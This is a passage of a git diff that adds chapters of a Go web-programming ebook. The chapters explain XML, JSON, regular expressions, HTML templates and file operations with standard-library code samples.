%v", err) + return + } + + fmt.Println(v) + } + +XML actually is a tree data structure, and we can define a almost same struct in Go, then use `xml.Unmarshal` to convert from XML to our struct object. The sample code will print following content: + + {{ servers} 1 [{{ server} Shanghai_VPN 127.0.0.1} {{ server} Beijing_VPN 127.0.0.2}] + + Shanghai_VPN + 127.0.0.1 + + + Beijing_VPN + 127.0.0.2 + + } + +We used `xml.Unmarshal` to parse XML document to corresponding struct object, and you should see that we have something like `xml:"serverName"` in our struct. This is a feature of struct which is called `struct tag` for helping reflection. Let's see the definition of `Unmarshal` again: + + func Unmarshal(data []byte, v interface{}) error + +The first argument is XML data stream, the second argument is the type of storage, for now it supports struct, slice and string. XML package uses reflection to achieve data mapping, so all fields in v should be exported. But we still have a problem, how can it knows which field is corresponding to another one? Here is a priority level when parse data. It tries to find struct tag first, if it cannot find then get field name. Be aware that all tags, field name and XML element are case sensitive, so you have to make sure that one-one correspondence. + +Go reflection mechanism allows you to use these tag information to reflect XML data to struct object. If you want to know more about reflection in Go, please read more about package documentation of struct tag and reflect. + +Here are the rules when package `xml` parse XML document to struct: + +- If the a field type is string or []byte with tag `",innerxml"`, `Unmarshal` assign raw XML data to it, like `Description` in above example: + + Shanghai_VPN127.0.0.1Beijing_VPN127.0.0.2 + +- If a field called `XMLName` and its type is `xml.Name`, then it gets element name, like `servers` in above example. +- If a field's tag contains corresponding element name, then it gets element name as well, like `servername` and `serverip` in above example. +- If a field's tag contains `",attr"`, then it gets corresponding element's attribute, like `version` in above example. +- If a field's tag contains something like `"a>b>c"`, it gets value of element c of node b of node a. +- If a field's tag contains `"="`, then it gets nothing. +- If a field's tag contains `",any"`, then it gets all child elements which do not fit other rules. +- If XML elements have one or more comments, all of these comments will be added to the first field that has the tag that contains `",comments"`, this field type can be string or []byte, if this kind field does not exist, all comments are discard. + +These rules tell you how to define tags in struct, once you understand these rules, everything as easy as the sample code. Because tags and XML elements are one-one correspondence, we can also use slice to represent multiple elements in same level. + +Note that all fields in struct should be exported(capitalize) in order to parse data correctly. + +## Produce XML + +What if we want to produce XML document instead of parsing it, how can we do it in Go? `xml` package provides two functions which are `Marshal` and `MarshalIndent` where the second function has indents for your XML document. Their definition as follows: + + func Marshal(v interface{}) ([]byte, error) + func MarshalIndent(v interface{}, prefix, indent string) ([]byte, error) + +The first argument is for storing XML data stream for both functions. + +Let's has an example to see how it works: + + package main + + import ( + "encoding/xml" + "fmt" + "os" + ) + + type Servers struct { + XMLName xml.Name `xml:"servers"` + Version string `xml:"version,attr"` + Svs []server `xml:"server"` + } + + type server struct { + ServerName string `xml:"serverName"` + ServerIP string `xml:"serverIP"` + } + + func main() { + v := &Servers{Version: "1"} + v.Svs = append(v.Svs, server{"Shanghai_VPN", "127.0.0.1"}) + v.Svs = append(v.Svs, server{"Beijing_VPN", "127.0.0.2"}) + output, err := xml.MarshalIndent(v, " ", " ") + if err != nil { + fmt.Printf("error: %v\n", err) + } + os.Stdout.Write([]byte(xml.Header)) + + os.Stdout.Write(output) + } + +The above example prints following information: + + + + + Shanghai_VPN + 127.0.0.1 + + + Beijing_VPN + 127.0.0.2 + + + +As we defined before, the reason we have `os.Stdout.Write([]byte(xml.Header))` is both of function `xml.MarshalIndent` and `xml.Marshal` do not output XML header by itself, so we have to print it in order to produce XML document correctly. + +Here we see `Marshal` also receives v in type `interface{}`, so what are the rules when it produces XML document? + +- If v is a array or slice, it prints all elements like value. +- If v is a pointer, it prints content that v point to, it prints nothing when v is nil. +- If v is a interface, it deal with interface as well. +- If v is one of other types, it prints value of that type. + +So how can it decide elements' name? It follows following rules: + +- If v is a struct, it defines name in tag of XMLName. +- Field name is XMLName and type is xml.Name. +- Field tag in struct. +- Field name in struct. +- Type name of marshal. + +Then we need to figure out how to set tags in order to produce final XML document. + +- XMLName will not be printed. +- Fields that have tag contains `"-"` will not be printed. +- If tag contains `"name,attr"`, it uses name as attribute name and field value as value, like `version` in above example. +- If tag contains `",attr"`, it uses field's name as attribute name and field value as value. +- If tag contains `",chardata"`, it prints character data instead of element. +- If tag contains `",innerxml"`, it prints raw value. +- If tag contains `",comment"`, it prints it as comments without escaping, so you cannot have "--" in its value. +- If tag contains `"omitempty"`, it omits this field if its value is zero-value, including false, 0, nil pointer or nil interface, zero length of array, slice, map and string. +- If tag contains `"a>b>c"`, it prints three elements where a contains b, b contains c, like following code: + + FirstName string `xml:"name>first"` + LastName string `xml:"name>last"` + + + Asta + Xie + + +You may notice that struct tag is very useful when you deal with XML, as well as other data format in following sections, if you still have problems with working with struct tag, you probably should read more documentation about it before get into next section. + +## Links + +- [Directory](preface.md) +- Previous section: [Text files](07.0.md) +- Next section: [JSON](07.2.md) \ No newline at end of file diff --git a/en/eBook/07.2.md b/en/eBook/07.2.md new file mode 100644 index 00000000..dc241f95 --- /dev/null +++ b/en/eBook/07.2.md @@ -0,0 +1,231 @@ +# 7.2 JSON + +JSON(JavaScript Object Notation) is a lightweight data exchange language which is based on text description, its advantages including self-descriptive, easy to understand, etc. Even though it is a sub-set of JavaScript, JSON uses different text format to become an independent language, and has some similarities with C-family languages. + +The biggest difference between JSON and XML is that XML is a complete mark language, but JSON is not. JSON is smaller and faster than XML, therefore it's much easier and quicker to parse in browsers, which is an important reason that many open platforms choose to use JSON as their data exchange interface language. + +Since JSON is becoming more important in web development, let's take a look at the level of support JSON in Go. Actually, the standard library has very good support for encoding and decoding JSON. + +Here we use JSON to represent the example in previous section: + + {"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]} + +The rest of this section will use this JSON data to introduce you how to operate JSON in Go. + +## Parse JSON + +### Parse to struct + +Suppose we have JSON in above example, how can we parse this data and map to struct in Go? Go has following function to do this: + + func Unmarshal(data []byte, v interface{}) error + +We can use this function to achieve our goal, here is a complete example: + + package main + + import ( + "encoding/json" + "fmt" + ) + + type Server struct { + ServerName string + ServerIP string + } + + type Serverslice struct { + Servers []Server + } + + func main() { + var s Serverslice + str := `{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}` + json.Unmarshal([]byte(str), &s) + fmt.Println(s) + } + +In above example, we defined a corresponding struct in Go for our JSON, slice for array, field name for key in JSON, but how does Go know which JSON data is for specific struct filed? Suppose we have a key called `Foo` in JSON, how to find corresponding field? + +- First, try to find the exported field(capitalized) whose tag contains `Foo`. +- Then, try to find the field whose name is `Foo`. +- Finally, try to find something like `FOO` or `FoO` without case sensitive. + +You may notice that all fields that are going to be assigned should be exported, and Go only assigns fields that can be found at the same time, and ignores all the others. This is good because when you receive a very large JSON data but you only need some of them, you can easily discard. + +### Parse to interface + +When we know what kind of JSON we're going to have, we parse JSON to specific struct, but what if we don't know? + +We know that interface{} can be everything in Go, so it is the best container to save our unknown format JSON. JSON package uses `map[string]interface{}` and `[]interface{}` to save all kinds of JSON objects and array. Here is a list of mapping relation: + +- `bool` represents `JSON booleans`, +- `float64` represents `JSON numbers`, +- `string` represents `JSON strings`, +- `nil` represents `JSON null`. + +Suppose we have following JSON data: + + b := []byte(`{"Name":"Wednesday","Age":6,"Parents":["Gomez","Morticia"]}`) + +Now we parse this JSON to interface{}: + + var f interface{} + err := json.Unmarshal(b, &f) + +The `f` stores a map, where keys are strings and values interface{}. + + f = map[string]interface{}{ + "Name": "Wednesday", + "Age": 6, + "Parents": []interface{}{ + "Gomez", + "Morticia", + }, + } + +So, how to access these data? Type assertion. + + m := f.(map[string]interface{}) + +After asserted, you can use following code to access data: + + for k, v := range m { + switch vv := v.(type) { + case string: + fmt.Println(k, "is string", vv) + case int: + fmt.Println(k, "is int", vv) + case float64: + fmt.Println(k,"is float64",vv) + case []interface{}: + fmt.Println(k, "is an array:") + for i, u := range vv { + fmt.Println(i, u) + } + default: + fmt.Println(k, "is of a type I don't know how to handle") + } + } + +As you can see, we can parse unknown format JSON through interface{} and type assert now. + +The above example is the official solution, but type assert is not always convenient, so I recommend one open source project called `simplejson` and launched by bitly. Here is an example of how to use this project to deal with unknown format JSON: + + js, err := NewJson([]byte(`{ + "test": { + "array": [1, "2", 3], + "int": 10, + "float": 5.150, + "bignum": 9223372036854775807, + "string": "simplejson", + "bool": true + } + }`)) + + arr, _ := js.Get("test").Get("array").Array() + i, _ := js.Get("test").Get("int").Int() + ms := js.Get("test").Get("string").MustString() + +It's not hard to see how convenient it is, see more information: [https://github.com/bitly/go-simplejson](https://github.com/bitly/go-simplejson). + +## Produce JSON + +In many situations, we need to produce JSON data and response to clients. In Go, JSON package has a function called `Marshal` to do this job: + + func Marshal(v interface{}) ([]byte, error) + +Suppose we need to produce server information list, we have following sample: + + package main + + import ( + "encoding/json" + "fmt" + ) + + type Server struct { + ServerName string + ServerIP string + } + + type Serverslice struct { + Servers []Server + } + + func main() { + var s Serverslice + s.Servers = append(s.Servers, Server{ServerName: "Shanghai_VPN", ServerIP: "127.0.0.1"}) + s.Servers = append(s.Servers, Server{ServerName: "Beijing_VPN", ServerIP: "127.0.0.2"}) + b, err := json.Marshal(s) + if err != nil { + fmt.Println("json err:", err) + } + fmt.Println(string(b)) + } + +Output: + + {"Servers":[{"ServerName":"Shanghai_VPN","ServerIP":"127.0.0.1"},{"ServerName":"Beijing_VPN","ServerIP":"127.0.0.2"}]} + +As you know, all fields name are capitalized, but if you want your JSON key name start with lower case, you should use `struct tag` to do this, otherwise Go will not produce data for internal fields. + + type Server struct { + ServerName string `json:"serverName"` + ServerIP string `json:"serverIP"` + } + + type Serverslice struct { + Servers []Server `json:"servers"` + } + +After this modification, we can get same JSON data as beginning. + +Here are some points you need to keep in mind when you try to produce JSON: + +- Field tag contains `"-"` will not be outputted. +- If tag contains customized name, Go uses this instead of field name, like `serverName` in above example. +- If tag contains `omitempty`, this field will not be outputted if it is its zero-value. +- If the field type is `bool`, string, int, `int64`, etc, and its tag contains `",string"`, Go converts this field to corresponding type in JSON. + +Example: + + type Server struct { + // ID will not be outputed. + ID int `json:"-"` + + // ServerName2 will be converted to JSON type. + ServerName string `json:"serverName"` + ServerName2 string `json:"serverName2,string"` + + // If ServerIP is empty, it will not be outputed. + ServerIP string `json:"serverIP,omitempty"` + } + + s := Server { + ID: 3, + ServerName: `Go "1.0" `, + ServerName2: `Go "1.0" `, + ServerIP: ``, + } + b, _ := json.Marshal(s) + os.Stdout.Write(b) + +Output: + + {"serverName":"Go \"1.0\" ","serverName2":"\"Go \\\"1.0\\\" \""} + +Function `Marshal` only returns data when it was succeed, so here are some points we need to keep in mind: + +- JSON object only supports string as key, so if you want to encode a map, its type has to be `map[string]T`, where `T` is the type in Go. +- Type like channel, complex and function are not able to be encoded to JSON. +- Do not try to encode nested data, it led dead loop when produce JSON data. +- If the field is a pointer, Go outputs data that it points to, or outputs null if it points to nil. + +In this section, we introduced you how to decode and encode JSON data in Go, also one third-party project called `simplejson` which is for parsing unknown format JSON. These are all important in web development. + +## Links + +- [Directory](preface.md) +- Previous section: [XML](07.1.md) +- Next section: [Regexp](07.3.md) \ No newline at end of file diff --git a/en/eBook/07.3.md b/en/eBook/07.3.md new file mode 100644 index 00000000..4ab0aa00 --- /dev/null +++ b/en/eBook/07.3.md @@ -0,0 +1,241 @@ +# 7.3 Regexp + +Regexp is a complicated but powerful tool for pattern match and text manipulation. Although its performance is lower than pure text match, it's more flexible. Base on its syntax, you can almost filter any kind of text from your source content. If you need to collect data in web development, it's not hard to use Regexp to have meaningful data. + +Go has package `regexp` as official support for regexp, if you've already used regexp in other programming languages, you should be familiar with it. Note that Go implemented RE2 standard except `\C`, more details: [http://code.google.com/p/re2/wiki/Syntax](http://code.google.com/p/re2/wiki/Syntax). + +Actually, package `strings` does many jobs like search(Contains, Index), replace(Replace), parse(Split, Join), etc. and it's faster than Regexp, but these are simple operations. If you want to search a string without case sensitive, Regexp should be your best choice. So if package `strings` can achieve your goal, just use it, it's easy to use and read; if you need to more advanced operation, use Regexp obviously. + +If you remember form verification we talked before, we used Regexp to verify if input information is valid there already. Be aware that all characters are UTF-8, and let's learn more about Go `regexp`! + +## Match + +Package `regexp` has 3 functions to match, if it matches returns true, returns false otherwise. + + func Match(pattern string, b []byte) (matched bool, error error) + func MatchReader(pattern string, r io.RuneReader) (matched bool, error error) + func MatchString(pattern string, s string) (matched bool, error error) + +All of 3 functions check if `pattern` matches input source, returns true if it matches, but if your Regex has syntax error, it will return error. The 3 input sources of these functions are `slice of byte`, `RuneReader` and `string`. + +Here is an example to verify IP address: + + func IsIP(ip string) (b bool) { + if m, _ := regexp.MatchString("^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$", ip); !m { + return false + } + return true + } + +As you can see, using pattern in package `regexp` is not that different. One more example, to verify if user input is valid: + + func main() { + if len(os.Args) == 1 { + fmt.Println("Usage: regexp [string]") + os.Exit(1) + } else if m, _ := regexp.MatchString("^[0-9]+$", os.Args[1]); m { + fmt.Println("Number") + } else { + fmt.Println("Not number") + } + } + +In above examples, we use `Match(Reader|Sting)` to check if content is valid, they are all easy to use. + +## Filter + +Match mode can verify content, but it cannot cut, filter or collect data from content. If you want to do that, you have to use complex mode of Regexp. + +Sometimes we need to write a crawl, here is an example that shows you have to use Regexp to filter and cut data. + + package main + + import ( + "fmt" + "io/ioutil" + "net/http" + "regexp" + "strings" + ) + + func main() { + resp, err := http.Get("http://www.baidu.com") + if err != nil { + fmt.Println("http get error.") + } + defer resp.Body.Close() + body, err := ioutil.ReadAll(resp.Body) + if err != nil { + fmt.Println("http read error") + return + } + + src := string(body) + + // Convert HTML tags to lower case. + re, _ := regexp.Compile("\\<[\\S\\s]+?\\>") + src = re.ReplaceAllStringFunc(src, strings.ToLower) + + // Remove STYLE. + re, _ = regexp.Compile("\\") + src = re.ReplaceAllString(src, "") + + // Remove SCRIPT. + re, _ = regexp.Compile("\\") + src = re.ReplaceAllString(src, "") + + // Remove all HTML code in angle brackets, and replace with newline. + re, _ = regexp.Compile("\\<[\\S\\s]+?\\>") + src = re.ReplaceAllString(src, "\n") + + // Remove continuous newline. + re, _ = regexp.Compile("\\s{2,}") + src = re.ReplaceAllString(src, "\n") + + fmt.Println(strings.TrimSpace(src)) + } + +In this example, we use Compile as the first step for complex mode. It verifies if your Regex syntax is correct, then returns `Regexp` for parsing content in other operations. + +Here are some functions to parse your Regexp syntax: + + func Compile(expr string) (*Regexp, error) + func CompilePOSIX(expr string) (*Regexp, error) + func MustCompile(str string) *Regexp + func MustCompilePOSIX(str string) *Regexp + +The difference between `ComplePOSIX` and `Compile` is that the former has to use POSIX syntax which is leftmost longest search, and the latter is only leftmost search. For instance, for Regexp `[a-z]{2,4}` and content `"aa09aaa88aaaa"`, `CompilePOSIX` returns `aaaa` but `Compile` returns `aa`. `Must` prefix means panic when the Regexp syntax is not correct, returns error only otherwise. + +After you knew how to create a new Regexp, let's see this struct provides what methods that help us to operate content: + + func (re *Regexp) Find(b []byte) []byte + func (re *Regexp) FindAll(b []byte, n int) [][]byte + func (re *Regexp) FindAllIndex(b []byte, n int) [][]int + func (re *Regexp) FindAllString(s string, n int) []string + func (re *Regexp) FindAllStringIndex(s string, n int) [][]int + func (re *Regexp) FindAllStringSubmatch(s string, n int) [][]string + func (re *Regexp) FindAllStringSubmatchIndex(s string, n int) [][]int + func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte + func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int + func (re *Regexp) FindIndex(b []byte) (loc []int) + func (re *Regexp) FindReaderIndex(r io.RuneReader) (loc []int) + func (re *Regexp) FindReaderSubmatchIndex(r io.RuneReader) []int + func (re *Regexp) FindString(s string) string + func (re *Regexp) FindStringIndex(s string) (loc []int) + func (re *Regexp) FindStringSubmatch(s string) []string + func (re *Regexp) FindStringSubmatchIndex(s string) []int + func (re *Regexp) FindSubmatch(b []byte) [][]byte + func (re *Regexp) FindSubmatchIndex(b []byte) []int + +These 18 methods including same function for different input sources(byte slice, string and io.RuneReader), we can simplify it by ignoring input sources as follows: + + func (re *Regexp) Find(b []byte) []byte + func (re *Regexp) FindAll(b []byte, n int) [][]byte + func (re *Regexp) FindAllIndex(b []byte, n int) [][]int + func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte + func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int + func (re *Regexp) FindIndex(b []byte) (loc []int) + func (re *Regexp) FindSubmatch(b []byte) [][]byte + func (re *Regexp) FindSubmatchIndex(b []byte) []int + +Code sample: + + package main + + import ( + "fmt" + "regexp" + ) + + func main() { + a := "I am learning Go language" + + re, _ := regexp.Compile("[a-z]{2,4}") + + // Find the first match. + one := re.Find([]byte(a)) + fmt.Println("Find:", string(one)) + + // Find all matches and save to a slice, n less than 0 means return all matches, indicates length of slice if it's greater than 0. + all := re.FindAll([]byte(a), -1) + fmt.Println("FindAll", all) + + // Find index of first match, start and end position. + index := re.FindIndex([]byte(a)) + fmt.Println("FindIndex", index) + + // Find index of all matches, the n does same job as above. + allindex := re.FindAllIndex([]byte(a), -1) + fmt.Println("FindAllIndex", allindex) + + re2, _ := regexp.Compile("am(.*)lang(.*)") + + // Find first submatch and return array, the first element contains all elements, the second element contains the result of first (), the third element contains the result of second (). + // Output: + // the first element: "am learning Go language" + // the second element: " learning Go ", notice spaces will be outputed as well. + // the third element: "uage" + submatch := re2.FindSubmatch([]byte(a)) + fmt.Println("FindSubmatch", submatch) + for _, v := range submatch { + fmt.Println(string(v)) + } + + // Same thing like FindIndex(). + submatchindex := re2.FindSubmatchIndex([]byte(a)) + fmt.Println(submatchindex) + + // FindAllSubmatch, find all submatches. + submatchall := re2.FindAllSubmatch([]byte(a), -1) + fmt.Println(submatchall) + + // FindAllSubmatchIndex,find index of all submatches. + submatchallindex := re2.FindAllSubmatchIndex([]byte(a), -1) + fmt.Println(submatchallindex) + } + +As we introduced before, Regexp also has 3 methods for matching, they do exactly same thing as exported functions, those exported functions call these methods underlying: + + func (re *Regexp) Match(b []byte) bool + func (re *Regexp) MatchReader(r io.RuneReader) bool + func (re *Regexp) MatchString(s string) bool + +Next, let's see how to do displacement through Regexp: + + func (re *Regexp) ReplaceAll(src, repl []byte) []byte + func (re *Regexp) ReplaceAllFunc(src []byte, repl func([]byte) []byte) []byte + func (re *Regexp) ReplaceAllLiteral(src, repl []byte) []byte + func (re *Regexp) ReplaceAllLiteralString(src, repl string) string + func (re *Regexp) ReplaceAllString(src, repl string) string + func (re *Regexp) ReplaceAllStringFunc(src string, repl func(string) string) string + +These are used in crawl example, so we don't explain more here. + +Let's take a look at explanation of `Expand`: + + func (re *Regexp) Expand(dst []byte, template []byte, src []byte, match []int) []byte + func (re *Regexp) ExpandString(dst []byte, template string, src string, match []int) []byte + +So how to use `Expand`? + + func main() { + src := []byte(` + call hello alice + hello bob + call hello eve + `) + pat := regexp.MustCompile(`(?m)(call)\s+(?P\w+)\s+(?P.+)\s*$`) + res := []byte{} + for _, s := range pat.FindAllSubmatchIndex(src, -1) { + res = pat.Expand(res, []byte("$cmd('$arg')\n"), src, s) + } + fmt.Println(string(res)) + } + +At this point, you learned whole package `regexp` in Go, I hope you can understand more by studying examples of key methods, and do something interesting by yourself. + +## Links + +- [Directory](preface.md) +- Previous section: [JSON](07.2.md) +- Next section: [Templates](07.4.md) \ No newline at end of file diff --git a/en/eBook/07.4.md b/en/eBook/07.4.md new file mode 100644 index 00000000..bf5958bb --- /dev/null +++ b/en/eBook/07.4.md @@ -0,0 +1,367 @@ +# 7.4 Templates + +## What is template? + +I believe you've heard MVC design model, where Model processes data, View shows results, Controller handles user requests. As for View level. Many dynamic languages generate data by writing code in static HTML files, like JSP implements by inserting `<%=....=%>`, PHP implements by inserting ``. + +The following shows template mechanism: +![](images/7.4.template.png?raw=true) + +Figure 7.1 Template mechanism + +Most of content that web applications response to clients is static, and dynamic part is usually small. For example, you need to show a list of visited users, only user name is dynamic, and style of list is always the same, so template is for reusing static content. + +## Template in Go + +In Go, we have package `template` to handle templates, and use functions like `Parse`, `ParseFile`, `Execute` to load templates from text or files, then execute merge like figure 7.1. + +Example: + + func handler(w http.ResponseWriter, r *http.Request) { + t := template.New("some template") // Create a template. + t, _ = t.ParseFiles("tmpl/welcome.html", nil) // Parse template file. + user := GetUser() // Get current user infomration. + t.Execute(w, user) // merge. + } + +As you can see, it's very easy to use template in Go, load and render data, just like in other programming languages. + +For convenient purpose, we use following rules in examples: + +- Use `Parse` to replace `ParseFiles` because `Parse` can test content from string, so we don't need extra files. +- Use `main` for every example and do not use `handler`. +- Use `os.Stdout` to replace `http.ResponseWriter` because `os.Stdout` also implemented interface `io.Writer`. + +## Insert data to template + +We showed you how to parse and render templates above, let's take one step more to render data to templates. Every template is an object in Go, so how to insert fields to templates? + +### Fields + +Every field that is going to be rendered in templates in Go should be put inside of `{{}}`, `{{.}}` is shorthand for current object, it's similar to Java or C++. If you want to access fields of current object, you should use `{{.FieldName}}`. Notice that only exported fields can be accessed in templates. Here is an example: + + package main + + import ( + "html/template" + "os" + ) + + type Person struct { + UserName string + } + + func main() { + t := template.New("fieldname example") + t, _ = t.Parse("hello {{.UserName}}!") + p := Person{UserName: "Astaxie"} + t.Execute(os.Stdout, p) + } + +The above example outputs `hello Astaxie` correctly, but if we modify a little bit, the error comes out: + + type Person struct { + UserName string + email string // Field is not exported. + } + + t, _ = t.Parse("hello {{.UserName}}! {{.email}}") + +This part of code will not be compiled because we try to access a field that is not exported; however, if we try to use a field that does not exist, Go simply outputs empty string instead of error. + +If you print `{{.}}` in templates, Go outputs formatted string of this object, it calls `fmt` underlying. + +### Nested fields + +We know how to output a field now, what if the field is an object, and it also has its fields, how to print them all in loop? We can use `{{with …}}…{{end}}` and `{{range …}}{{end}}` to do this job. + +- `{{range}}` just like range in Go. +- `{{with}}` lets you write same object name once, and use `.` as shorthand( ***Similar to `with` in VB*** ). + +More examples: + + package main + + import ( + "html/template" + "os" + ) + + type Friend struct { + Fname string + } + + type Person struct { + UserName string + Emails []string + Friends []*Friend + } + + func main() { + f1 := Friend{Fname: "minux.ma"} + f2 := Friend{Fname: "xushiwei"} + t := template.New("fieldname example") + t, _ = t.Parse(`hello {{.UserName}}! + {{range .Emails}} + an email {{.}} + {{end}} + {{with .Friends}} + {{range .}} + my friend name is {{.Fname}} + {{end}} + {{end}} + `) + p := Person{UserName: "Astaxie", + Emails: []string{"astaxie@beego.me", "astaxie@gmail.com"}, + Friends: []*Friend{&f1, &f2}} + t.Execute(os.Stdout, p) + } + +### Condition + +If you need to check conditions in templates, you can use syntax `if-else` just like you use it in Go programs. If pipeline is empty, default value of `if` is `false`. Following example shows how to use `if-else` in templates: + + package main + + import ( + "os" + "text/template" + ) + + func main() { + tEmpty := template.New("template test") + tEmpty = template.Must(tEmpty.Parse("Empty pipeline if demo: {{if ``}} will not be outputted. {{end}}\n")) + tEmpty.Execute(os.Stdout, nil) + + tWithValue := template.New("template test") + tWithValue = template.Must(tWithValue.Parse("Not empty pipeline if demo: {{if `anything`}} will be outputted. {{end}}\n")) + tWithValue.Execute(os.Stdout, nil) + + tIfElse := template.New("template test") + tIfElse = template.Must(tIfElse.Parse("if-else demo: {{if `anything`}} if part {{else}} else part.{{end}}\n")) + tIfElse.Execute(os.Stdout, nil) + } + +As you can see, it's easy to use `if-else` in you tempaltes. + +** Attention ** You CANNOT use conditional expression in if, like `.Mail=="astaxie@gmail.com"`, only boolean value is acceptable. + +### pipelines + +Unix users should be familiar with `pipe` like `ls | grep "beego"`, this command filter files and only show them that contains `beego`. One thing I like Go template is that it support pipe, anything in `{{}}` can be data of pipelines. The e-mail we used above can cause XSS attack, so how can we fix this through pipe? + + {{. | html}} + +We can use this way to escape e-mail body to HTML, it's quite same as we write Unix commands and convenient for using template functions. + +### Template variable + +Sometimes we need to use local variables in templates, and we can use them with `with``range``if`, and its scope is between these keywords and `{{end}}`. Declare local variable example: + + $variable := pipeline + +More examples: + + {{with $x := "output" | printf "%q"}}{{$x}}{{end}} + {{with $x := "output"}}{{printf "%q" $x}}{{end}} + {{with $x := "output"}}{{$x | printf "%q"}}{{end}} + +### Template function + +Go uses package `fmt` to format output in templates, but sometimes we need to do something else. For example, we want to replace `@` with `at` in our e-mail address like `astaxie at beego.me`. At this point, we have to write customized function. + +Every template function has unique name and associates with one function in your Go programs as follows: + + type FuncMap map[string]interface{} + +Suppose we have template function `emailDeal` and it associates with `EmailDealWith` in Go programs, then we use following code to register this function: + + t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith}) + +`EmailDealWith` definition: + + func EmailDealWith(args …interface{}) string + +Example: + + package main + + import ( + "fmt" + "html/template" + "os" + "strings" + ) + + type Friend struct { + Fname string + } + + type Person struct { + UserName string + Emails []string + Friends []*Friend + } + + func EmailDealWith(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) + } + // find the @ symbol + substrs := strings.Split(s, "@") + if len(substrs) != 2 { + return s + } + // replace the @ by " at " + return (substrs[0] + " at " + substrs[1]) + } + + func main() { + f1 := Friend{Fname: "minux.ma"} + f2 := Friend{Fname: "xushiwei"} + t := template.New("fieldname example") + t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith}) + t, _ = t.Parse(`hello {{.UserName}}! + {{range .Emails}} + an emails {{.|emailDeal}} + {{end}} + {{with .Friends}} + {{range .}} + my friend name is {{.Fname}} + {{end}} + {{end}} + `) + p := Person{UserName: "Astaxie", + Emails: []string{"astaxie@beego.me", "astaxie@gmail.com"}, + Friends: []*Friend{&f1, &f2}} + t.Execute(os.Stdout, p) + } + +Here is a list of built-in template functions: + + var builtins = FuncMap{ + "and": and, + "call": call, + "html": HTMLEscaper, + "index": index, + "js": JSEscaper, + "len": length, + "not": not, + "or": or, + "print": fmt.Sprint, + "printf": fmt.Sprintf, + "println": fmt.Sprintln, + "urlquery": URLQueryEscaper, + } + + +## Must + +In package template has a function `Must` which is for checking template validation, like matching of braces, comments, variables. Let's give an example of `Must`: + + package main + + import ( + "fmt" + "text/template" + ) + + func main() { + tOk := template.New("first") + template.Must(tOk.Parse(" some static text /* and a comment */")) + fmt.Println("The first one parsed OK.") + + template.Must(template.New("second").Parse("some static text {{ .Name }}")) + fmt.Println("The second one parsed OK.") + + fmt.Println("The next one ought to fail.") + tErr := template.New("check parse error with Must") + template.Must(tErr.Parse(" some static text {{ .Name }")) + } + +Output: + + The first one parsed OK. + The second one parsed OK. + The next one ought to fail. + panic: template: check parse error with Must:1: unexpected "}" in command + +## Nested templates + +Like we write code, some part of template is the same in several templates, like header and footer of a blog, so we can define `header`, `content` and `footer` these 3 parts. Go uses following syntax to declare sub-template: + + {{define "sub-template"}}content{{end}} + +Call by following syntax: + + {{template "sub-template"}} + +A complete example, suppose we have `header.tmpl`, `content.tmpl, `footer.tmpl` these 3 files. + +Main template: + + //header.tmpl + {{define "header"}} + + + Something here + + + {{end}} + + //content.tmpl + {{define "content"}} + {{template "header"}} +

Nested here

+
    +
  • Nested usag
  • +
  • Call template
  • +
+ {{template "footer"}} + {{end}} + + //footer.tmpl + {{define "footer"}} + + + {{end}} + +Code: + + package main + + import ( + "fmt" + "os" + "text/template" + ) + + func main() { + s1, _ := template.ParseFiles("header.tmpl", "content.tmpl", "footer.tmpl") + s1.ExecuteTemplate(os.Stdout, "header", nil) + fmt.Println() + s1.ExecuteTemplate(os.Stdout, "content", nil) + fmt.Println() + s1.ExecuteTemplate(os.Stdout, "footer", nil) + fmt.Println() + s1.Execute(os.Stdout, nil) + } + +We can see that `template.ParseFiles` parses all nested templates into cache, and every template that is defined by `{{define}}` is independent, they are paralleled in something like map, where key is template name and value is body of template. Then we use `ExecuteTemplate` to execute corresponding sub-template, so that header and footer are independent and content has both of them. But if we try to execute `s1.Execute`, nothing will be outputted because there is no default sub-template available. + +Templates in one set knows each other, but you have to parse them for every single set. + +## Summary + +In this section, you learned that how to combine dynamic data with templates, including print data in loop, template functions, nested templates, etc. By using templates, we can finish V part of MVC model. In following chapters, we will cover M and C parts. + +## Links + +- [Directory](preface.md) +- Previous section: [Regexp](07.3.md) +- Next section: [Files](07.5.md) \ No newline at end of file diff --git a/en/eBook/07.5.md b/en/eBook/07.5.md new file mode 100644 index 00000000..8ad27a70 --- /dev/null +++ b/en/eBook/07.5.md @@ -0,0 +1,159 @@ +# 7.5 Files + +File is must-have object in every single computer device, and web applications also have many usage with files. In this section, we're going to learn how to operate files in Go. + +## Directories + +Most of functions of file operations is in package `os`, here are some functions about directories: + +- func Mkdir(name string, perm FileMode) error + + Create directory with `name`, `perm` is permission, like 0777. + +- func MkdirAll(path string, perm FileMode) error + + Create multiple directories according to `path`, like `astaxie/test1/test2`. + +- func Remove(name string) error + + Remove directory with `name`, it returns error if it's not directory or not empty. + +- func RemoveAll(path string) error + + Remove multiple directories according to `path`, it will not be deleted if `path` is a single path. + +Code sample: + + package main + + import ( + "fmt" + "os" + ) + + func main() { + os.Mkdir("astaxie", 0777) + os.MkdirAll("astaxie/test1/test2", 0777) + err := os.Remove("astaxie") + if err != nil { + fmt.Println(err) + } + os.RemoveAll("astaxie") + } + +## Files + +### Create and open files + +Two functions to create files: + +- func Create(name string) (file *File, err Error) + + Create file with `name` and return a file object with permission 0666 and read-writable. + +- func NewFile(fd uintptr, name string) *File + + Create file and return a file object. + + +Two functions to open files: + +- func Open(name string) (file *File, err Error) + + Open file with `name` with read-only permission, it calls `OpenFile` underlying. + +- func OpenFile(name string, flag int, perm uint32) (file *File, err Error) + + Open file with `name`, `flag` is open mode like read-only, read-write, `perm` is permission. + +### Write files + +Functions for writing files: + +- func (file *File) Write(b []byte) (n int, err Error) + + Write byte type content 